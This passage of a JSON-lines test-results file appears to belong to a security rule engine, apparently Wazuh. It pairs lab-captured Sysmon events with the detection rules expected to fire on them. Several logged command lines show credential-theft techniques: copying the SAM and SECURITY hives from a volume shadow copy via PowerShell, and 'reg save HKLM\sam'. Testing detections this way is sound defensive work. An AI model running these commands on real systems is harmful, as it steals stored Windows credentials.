"win.eventdata.ruleName": "technique_id=T1086,technique_name=PowerShell", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "EXCHANGETEST\\\\AtomicRed", "win.eventdata.utcTime": "2021-07-20 20:03:22.083", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "1", "win.system.eventRecordID": "279401", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2392", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-07-20T20:03:22.0909717Z", "win.system.task": "1", "win.system.threadID": "3248", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "1002", "level": "2", "expected_decoder": "json", "expected_rule": "92021", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "Powershell was used to delete files or directories"} +{"log": "{\"win\":{\"eventdata\":{\"originalFileName\":\"PowerShell.EXE\",\"image\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\",\"product\":\"Microsoft® Windows® Operating System\",\"parentProcessGuid\":\"{4dc16835-6ce9-60f8-2605-580000000000}\",\"description\":\"Windows PowerShell\",\"logonGuid\":\"{4dc16835-577d-60f8-9e02-1b0000000000}\",\"parentCommandLine\":\"ShadowSteal.exe\",\"processGuid\":\"{4dc16835-6ce9-60f8-f206-580000000000}\",\"logonId\":\"0x1b029e\",\"parentProcessId\":\"4252\",\"processId\":\"3316\",\"currentDirectory\":\"C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\Downloads\\\\\\\\shadow2\\\\\\\\\",\"utcTime\":\"2021-07-21 18:52:25.041\",\"hashes\":\"SHA1=F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054,MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7\",\"parentImage\":\"C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\Downloads\\\\\\\\shadow2\\\\\\\\ShadowSteal.exe\",\"ruleName\":\"technique_id=T1086,technique_name=PowerShell\",\"company\":\"Microsoft Corporation\",\"commandLine\":\"powershell.exe -c \\\\\\\"[System.IO.File]::Exists('\\\\\\\\\\\\\\\\?\\\\\\\\GLOBALROOT\\\\\\\\Device\\\\\\\\HarddiskVolumeShadowCopy1\\\\\\\\Windows\\\\\\\\System32\\\\\\\\config\\\\\\\\SAM')\\\\\\\"\",\"integrityLevel\":\"Medium\",\"fileVersion\":\"10.0.19041.546 (WinBuild.160101.0800)\",\"user\":\"EXCHANGETEST\\\\\\\\AtomicRed\",\"terminalSessionId\":\"1\"},\"system\":{\"eventID\":\"1\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Process Create:\\r\\nRuleName: technique_id=T1086,technique_name=PowerShell\\r\\nUtcTime: 2021-07-21 18:52:25.041\\r\\nProcessGuid: {4dc16835-6ce9-60f8-f206-580000000000}\\r\\nProcessId: 3316\\r\\nImage: C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\r\\nFileVersion: 10.0.19041.546 (WinBuild.160101.0800)\\r\\nDescription: Windows PowerShell\\r\\nProduct: Microsoft® Windows® Operating System\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: PowerShell.EXE\\r\\nCommandLine: powershell.exe -c \\\"[System.IO.File]::Exists('\\\\\\\\?\\\\GLOBALROOT\\\\Device\\\\HarddiskVolumeShadowCopy1\\\\Windows\\\\System32\\\\config\\\\SAM')\\\"\\r\\nCurrentDirectory: C:\\\\Users\\\\AtomicRed\\\\Downloads\\\\shadow2\\\\\\r\\nUser: EXCHANGETEST\\\\AtomicRed\\r\\nLogonGuid: {4dc16835-577d-60f8-9e02-1b0000000000}\\r\\nLogonId: 0x1B029E\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: Medium\\r\\nHashes: SHA1=F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054,MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7\\r\\nParentProcessGuid: {4dc16835-6ce9-60f8-2605-580000000000}\\r\\nParentProcessId: 4252\\r\\nParentImage: C:\\\\Users\\\\AtomicRed\\\\Downloads\\\\shadow2\\\\ShadowSteal.exe\\r\\nParentCommandLine: ShadowSteal.exe\\\"\",\"version\":\"5\",\"systemTime\":\"2021-07-21T18:52:25.0482836Z\",\"eventRecordID\":\"296247\",\"threadID\":\"3460\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"1\",\"processID\":\"2428\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "powershell.exe -c \\\"[System.IO.File]::Exists('\\\\\\\\?\\\\GLOBALROOT\\\\Device\\\\HarddiskVolumeShadowCopy1\\\\Windows\\\\System32\\\\config\\\\SAM')\\\"", "win.eventdata.company": "Microsoft Corporation", "win.eventdata.currentDirectory": "C:\\\\Users\\\\AtomicRed\\\\Downloads\\\\shadow2\\\\", "win.eventdata.description": "Windows PowerShell", "win.eventdata.fileVersion": "10.0.19041.546 (WinBuild.160101.0800)", "win.eventdata.hashes": "SHA1=F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054,MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe", "win.eventdata.integrityLevel": "Medium", "win.eventdata.logonGuid": "{4dc16835-577d-60f8-9e02-1b0000000000}", "win.eventdata.logonId": "0x1b029e", "win.eventdata.originalFileName": "PowerShell.EXE", "win.eventdata.parentCommandLine": "ShadowSteal.exe", "win.eventdata.parentImage": "C:\\\\Users\\\\AtomicRed\\\\Downloads\\\\shadow2\\\\ShadowSteal.exe", "win.eventdata.parentProcessGuid": "{4dc16835-6ce9-60f8-2605-580000000000}", "win.eventdata.parentProcessId": "4252", "win.eventdata.processGuid": "{4dc16835-6ce9-60f8-f206-580000000000}", "win.eventdata.processId": "3316", "win.eventdata.product": "Microsoft® Windows® Operating System", "win.eventdata.ruleName": "technique_id=T1086,technique_name=PowerShell", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "EXCHANGETEST\\\\AtomicRed", "win.eventdata.utcTime": "2021-07-21 18:52:25.041", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "1", "win.system.eventRecordID": "296247", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2428", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-07-21T18:52:25.0482836Z", "win.system.task": "1", "win.system.threadID": "3460", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92023", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "Suspicious Powershell activity with VSS and Windows SAM hive"} +{"log": "{\"win\":{\"eventdata\":{\"originalFileName\":\"PowerShell.EXE\",\"image\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\",\"product\":\"Microsoft® Windows® Operating System\",\"parentProcessGuid\":\"{4dc16835-6d03-60f8-3101-000000005300}\",\"description\":\"Windows PowerShell\",\"logonGuid\":\"{4dc16835-577d-60f8-7c02-1b0000000000}\",\"parentCommandLine\":\"ShadowSteal.exe\",\"processGuid\":\"{4dc16835-6d03-60f8-fd83-590000000000}\",\"logonId\":\"0x1b027c\",\"parentProcessId\":\"4832\",\"processId\":\"4636\",\"currentDirectory\":\"C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\Downloads\\\\\\\\shadow2\\\\\\\\\",\"utcTime\":\"2021-07-21 18:52:51.728\",\"hashes\":\"SHA1=F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054,MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7\",\"parentImage\":\"C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\Downloads\\\\\\\\shadow2\\\\\\\\ShadowSteal.exe\",\"ruleName\":\"technique_id=T1086,technique_name=PowerShell\",\"company\":\"Microsoft Corporation\",\"commandLine\":\"powershell.exe -c \\\\\\\"[System.IO.File]::Copy('\\\\\\\\\\\\\\\\?\\\\\\\\GLOBALROOT\\\\\\\\Device\\\\\\\\HarddiskVolumeShadowCopy1\\\\\\\\Windows\\\\\\\\System32\\\\\\\\config\\\\\\\\SECURITY', 'tmp\\\\\\\\202107211152_SECURITY')\\\\\\\"\",\"integrityLevel\":\"High\",\"fileVersion\":\"10.0.19041.546 (WinBuild.160101.0800)\",\"user\":\"EXCHANGETEST\\\\\\\\AtomicRed\",\"terminalSessionId\":\"1\"},\"system\":{\"eventID\":\"1\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Process Create:\\r\\nRuleName: technique_id=T1086,technique_name=PowerShell\\r\\nUtcTime: 2021-07-21 18:52:51.728\\r\\nProcessGuid: {4dc16835-6d03-60f8-fd83-590000000000}\\r\\nProcessId: 4636\\r\\nImage: C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\r\\nFileVersion: 10.0.19041.546 (WinBuild.160101.0800)\\r\\nDescription: Windows PowerShell\\r\\nProduct: Microsoft® Windows® Operating System\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: PowerShell.EXE\\r\\nCommandLine: powershell.exe -c \\\"[System.IO.File]::Copy('\\\\\\\\?\\\\GLOBALROOT\\\\Device\\\\HarddiskVolumeShadowCopy1\\\\Windows\\\\System32\\\\config\\\\SECURITY', 'tmp\\\\202107211152_SECURITY')\\\"\\r\\nCurrentDirectory: C:\\\\Users\\\\AtomicRed\\\\Downloads\\\\shadow2\\\\\\r\\nUser: EXCHANGETEST\\\\AtomicRed\\r\\nLogonGuid: {4dc16835-577d-60f8-7c02-1b0000000000}\\r\\nLogonId: 0x1B027C\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: High\\r\\nHashes: SHA1=F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054,MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7\\r\\nParentProcessGuid: {4dc16835-6d03-60f8-3101-000000005300}\\r\\nParentProcessId: 4832\\r\\nParentImage: C:\\\\Users\\\\AtomicRed\\\\Downloads\\\\shadow2\\\\ShadowSteal.exe\\r\\nParentCommandLine: ShadowSteal.exe\\\"\",\"version\":\"5\",\"systemTime\":\"2021-07-21T18:52:51.7297548Z\",\"eventRecordID\":\"296414\",\"threadID\":\"3460\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"1\",\"processID\":\"2428\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "powershell.exe -c \\\"[System.IO.File]::Copy('\\\\\\\\?\\\\GLOBALROOT\\\\Device\\\\HarddiskVolumeShadowCopy1\\\\Windows\\\\System32\\\\config\\\\SECURITY', 'tmp\\\\202107211152_SECURITY')\\\"", "win.eventdata.company": "Microsoft Corporation", "win.eventdata.currentDirectory": "C:\\\\Users\\\\AtomicRed\\\\Downloads\\\\shadow2\\\\", "win.eventdata.description": "Windows PowerShell", "win.eventdata.fileVersion": "10.0.19041.546 (WinBuild.160101.0800)", "win.eventdata.hashes": "SHA1=F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054,MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe", "win.eventdata.integrityLevel": "High", "win.eventdata.logonGuid": "{4dc16835-577d-60f8-7c02-1b0000000000}", "win.eventdata.logonId": "0x1b027c", "win.eventdata.originalFileName": "PowerShell.EXE", "win.eventdata.parentCommandLine": "ShadowSteal.exe", "win.eventdata.parentImage": "C:\\\\Users\\\\AtomicRed\\\\Downloads\\\\shadow2\\\\ShadowSteal.exe", "win.eventdata.parentProcessGuid": "{4dc16835-6d03-60f8-3101-000000005300}", "win.eventdata.parentProcessId": "4832", "win.eventdata.processGuid": "{4dc16835-6d03-60f8-fd83-590000000000}", "win.eventdata.processId": "4636", "win.eventdata.product": "Microsoft® Windows® Operating System", "win.eventdata.ruleName": "technique_id=T1086,technique_name=PowerShell", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "EXCHANGETEST\\\\AtomicRed", "win.eventdata.utcTime": "2021-07-21 18:52:51.728", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "1", "win.system.eventRecordID": "296414", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2428", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-07-21T18:52:51.7297548Z", "win.system.task": "1", "win.system.threadID": "3460", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92024", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "Powershell used to copy SAM hive from VSS"} +{"log": "{\"win\":{\"eventdata\":{\"originalFileName\":\"reg.exe\",\"image\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\reg.exe\",\"product\":\"Microsoft® Windows® Operating System\",\"parentProcessGuid\":\"{4dc16835-57e4-60f8-f782-260000000000}\",\"description\":\"Registry Console Tool\",\"logonGuid\":\"{4dc16835-577d-60f8-7c02-1b0000000000}\",\"parentCommandLine\":\"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\cmd.exe\\\\\\\"\",\"processGuid\":\"{4dc16835-795e-60f8-c58a-770000000000}\",\"logonId\":\"0x1b027c\",\"parentProcessId\":\"5488\",\"processId\":\"4616\",\"currentDirectory\":\"C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\Downloads\\\\\\\\shadow2\\\\\\\\\",\"utcTime\":\"2021-07-21 19:45:34.763\",\"hashes\":\"SHA1=C0DB341DEFA8EF40C03ED769A9001D600E0F4DAE,MD5=227F63E1D9008B36BDBCC4B397780BE4,SHA256=C0E25B1F9B22DE445298C1E96DDFCEAD265CA030FA6626F61A4A4786CC4A3B7D,IMPHASH=BE482BE427FE212CFEF2CDA0E61F19AC\",\"parentImage\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\",\"ruleName\":\"technique_id=T1112,technique_name=Modify Registry\",\"company\":\"Microsoft Corporation\",\"commandLine\":\"reg save HKLM\\\\\\\\sam C:\\\\\\\\Users\\\\\\\\ATOMIC~2\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\sam\",\"integrityLevel\":\"High\",\"fileVersion\":\"10.0.19041.1 (WinBuild.160101.0800)\",\"user\":\"EXCHANGETEST\\\\\\\\AtomicRed\",\"terminalSessionId\":\"1\"},\"system\":{\"eventID\":\"1\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Process Create:\\r\\nRuleName: technique_id=T1112,technique_name=Modify Registry\\r\\nUtcTime: 2021-07-21 19:45:34.763\\r\\nProcessGuid: {4dc16835-795e-60f8-c58a-770000000000}\\r\\nProcessId: 4616\\r\\nImage: C:\\\\Windows\\\\System32\\\\reg.exe\\r\\nFileVersion: 10.0.19041.1 (WinBuild.160101.0800)\\r\\nDescription: Registry Console Tool\\r\\nProduct: Microsoft® Windows® Operating System\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: reg.exe\\r\\nCommandLine: reg save HKLM\\\\sam C:\\\\Users\\\\ATOMIC~2\\\\AppData\\\\Local\\\\Temp\\\\sam\\r\\nCurrentDirectory: C:\\\\Users\\\\AtomicRed\\\\Downloads\\\\shadow2\\\\\\r\\nUser: EXCHANGETEST\\\\AtomicRed\\r\\nLogonGuid: {4dc16835-577d-60f8-7c02-1b0000000000}\\r\\nLogonId: 0x1B027C\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: High\\r\\nHashes: SHA1=C0DB341DEFA8EF40C03ED769A9001D600E0F4DAE,MD5=227F63E1D9008B36BDBCC4B397780BE4,SHA256=C0E25B1F9B22DE445298C1E96DDFCEAD265CA030FA6626F61A4A4786CC4A3B7D,IMPHASH=BE482BE427FE212CFEF2CDA0E61F19AC\\r\\nParentProcessGuid: {4dc16835-57e4-60f8-f782-260000000000}\\r\\nParentProcessId: 5488\\r\\nParentImage: C:\\\\Windows\\\\System32\\\\cmd.exe\\r\\nParentCommandLine: \\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\" \\\"\",\"version\":\"5\",\"systemTime\":\"2021-07-21T19:45:34.7662294Z\",\"eventRecordID\":\"298155\",\"threadID\":\"3460\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"1\",\"processID\":\"2428\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "reg save HKLM\\\\sam C:\\\\Users\\\\ATOMIC~2\\\\AppData\\\\Local\\\\Temp\\\\sam", "win.eventdata.company": "Microsoft Corporation", "win.eventdata.currentDirectory": "C:\\\\Users\\\\AtomicRed\\\\Downloads\\\\shadow2\\\\", "win.eventdata.description": "Registry Console Tool", "win.eventdata.fileVersion": "10.0.19041.1 (WinBuild.160101.0800)", "win.eventdata.hashes": "SHA1=C0DB341DEFA8EF40C03ED769A9001D600E0F4DAE,MD5=227F63E1D9008B36BDBCC4B397780BE4,SHA256=C0E25B1F9B22DE445298C1E96DDFCEAD265CA030FA6626F61A4A4786CC4A3B7D,IMPHASH=BE482BE427FE212CFEF2CDA0E61F19AC", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\reg.exe", "win.eventdata.integrityLevel": "High", "win.eventdata.logonGuid": "{4dc16835-577d-60f8-7c02-1b0000000000}", "win.eventdata.logonId": "0x1b027c", "win.eventdata.originalFileName": "reg.exe", "win.eventdata.parentCommandLine": "\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\"", "win.eventdata.parentImage": "C:\\\\Windows\\\\System32\\\\cmd.exe", "win.eventdata.parentProcessGuid": "{4dc16835-57e4-60f8-f782-260000000000}", "win.eventdata.parentProcessId": "5488", "win.eventdata.processGuid": "{4dc16835-795e-60f8-c58a-770000000000}", "win.eventdata.processId": "4616", "win.eventdata.product": "Microsoft® Windows® Operating System", "win.eventdata.ruleName": "technique_id=T1112,technique_name=Modify Registry", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "EXCHANGETEST\\\\AtomicRed", "win.eventdata.utcTime": "2021-07-21 19:45:34.763", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "1", "win.system.eventRecordID": "298155", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2428", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-07-21T19:45:34.7662294Z", "win.system.task": "1", "win.system.threadID": "3460", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92026", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "Reg.exe used to dump SAM hive"} +{"log": "{\"win\":{\"eventdata\":{\"originalFileName\":\"reg.exe\",\"image\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\reg.exe\",\"product\":\"Microsoft® Windows® Operating System\",\"parentProcessGuid\":\"{4dc16835-387f-6110-ef44-160000000000}\",\"description\":\"Registry Console Tool\",\"logonGuid\":\"{4dc16835-3832-6110-5bcc-0a0000000000}\",\"parentCommandLine\":\"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\\\\\\\"\",\"processGuid\":\"{4dc16835-38ea-6110-b7f6-220000000000}\",\"logonId\":\"0xacc5b\",\"parentProcessId\":\"5476\",\"processId\":\"3148\",\"currentDirectory\":\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\\",\"utcTime\":\"2021-08-08 20:04:58.696\",\"hashes\":\"SHA1=C0DB341DEFA8EF40C03ED769A9001D600E0F4DAE,MD5=227F63E1D9008B36BDBCC4B397780BE4,SHA256=C0E25B1F9B22DE445298C1E96DDFCEAD265CA030FA6626F61A4A4786CC4A3B7D,IMPHASH=BE482BE427FE212CFEF2CDA0E61F19AC\",\"parentImage\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\",\"ruleName\":\"technique_id=T1112,technique_name=Modify Registry\",\"company\":\"Microsoft Corporation\",\"commandLine\":\"REG ADD \\\\\\\"HKCU\\\\\\\\Software\\\\\\\\InternetExplorer\\\\\\\\AppDataLow\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\InternetExplorer\\\\\\\" /v \\\\\\\"{018247B2CAC14652E}\\\\\\\" /t REG_SZ /d UnVsZSBjcmVhdGVkIGJ5IEZhYnJpY2lvIEJydW5ldHRp\",\"integrityLevel\":\"Medium\",\"fileVersion\":\"10.0.19041.1 (WinBuild.160101.0800)\",\"user\":\"EXCHANGETEST\\\\\\\\AtomicRed\",\"terminalSessionId\":\"1\"},\"system\":{\"eventID\":\"1\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Process Create:\\r\\nRuleName: technique_id=T1112,technique_name=Modify Registry\\r\\nUtcTime: 2021-08-08 20:04:58.696\\r\\nProcessGuid: {4dc16835-38ea-6110-b7f6-220000000000}\\r\\nProcessId: 3148\\r\\nImage: C:\\\\Windows\\\\System32\\\\reg.exe\\r\\nFileVersion: 10.0.19041.1 (WinBuild.160101.0800)\\r\\nDescription: Registry Console Tool\\r\\nProduct: Microsoft® Windows® Operating System\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: reg.exe\\r\\nCommandLine: REG ADD \\\"HKCU\\\\Software\\\\InternetExplorer\\\\AppDataLow\\\\Software\\\\Microsoft\\\\InternetExplorer\\\" /v \\\"{018247B2CAC14652E}\\\" /t REG_SZ /d UnVsZSBjcmVhdGVkIGJ5IEZhYnJpY2lvIEJydW5ldHRp\\r\\nCurrentDirectory: C:\\\\Windows\\\\system32\\\\\\r\\nUser: EXCHANGETEST\\\\AtomicRed\\r\\nLogonGuid: {4dc16835-3832-6110-5bcc-0a0000000000}\\r\\nLogonId: 0xACC5B\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: Medium\\r\\nHashes: SHA1=C0DB341DEFA8EF40C03ED769A9001D600E0F4DAE,MD5=227F63E1D9008B36BDBCC4B397780BE4,SHA256=C0E25B1F9B22DE445298C1E96DDFCEAD265CA030FA6626F61A4A4786CC4A3B7D,IMPHASH=BE482BE427FE212CFEF2CDA0E61F19AC\\r\\nParentProcessGuid: {4dc16835-387f-6110-ef44-160000000000}\\r\\nParentProcessId: 5476\\r\\nParentImage: C:\\\\Windows\\\\System32\\\\cmd.exe\\r\\nParentCommandLine: \\\"C:\\\\Windows\\\\System32\\\\cmd.exe\\\" \\\"\",\"version\":\"5\",\"systemTime\":\"2021-08-08T20:04:58.6993877Z\",\"eventRecordID\":\"322805\",\"threadID\":\"3860\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"1\",\"processID\":\"2284\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "REG ADD \\\"HKCU\\\\Software\\\\InternetExplorer\\\\AppDataLow\\\\Software\\\\Microsoft\\\\InternetExplorer\\\" /v \\\"{018247B2CAC14652E}\\\" /t REG_SZ /d UnVsZSBjcmVhdGVkIGJ5IEZhYnJpY2lvIEJydW5ldHRp", "win.eventdata.company": "Microsoft Corporation", "win.eventdata.currentDirectory": "C:\\\\Windows\\\\system32\\\\", "win.eventdata.description": "Registry Console Tool", "win.eventdata.fileVersion": "10.0.19041.1 (WinBuild.160101.0800)", "win.eventdata.hashes": 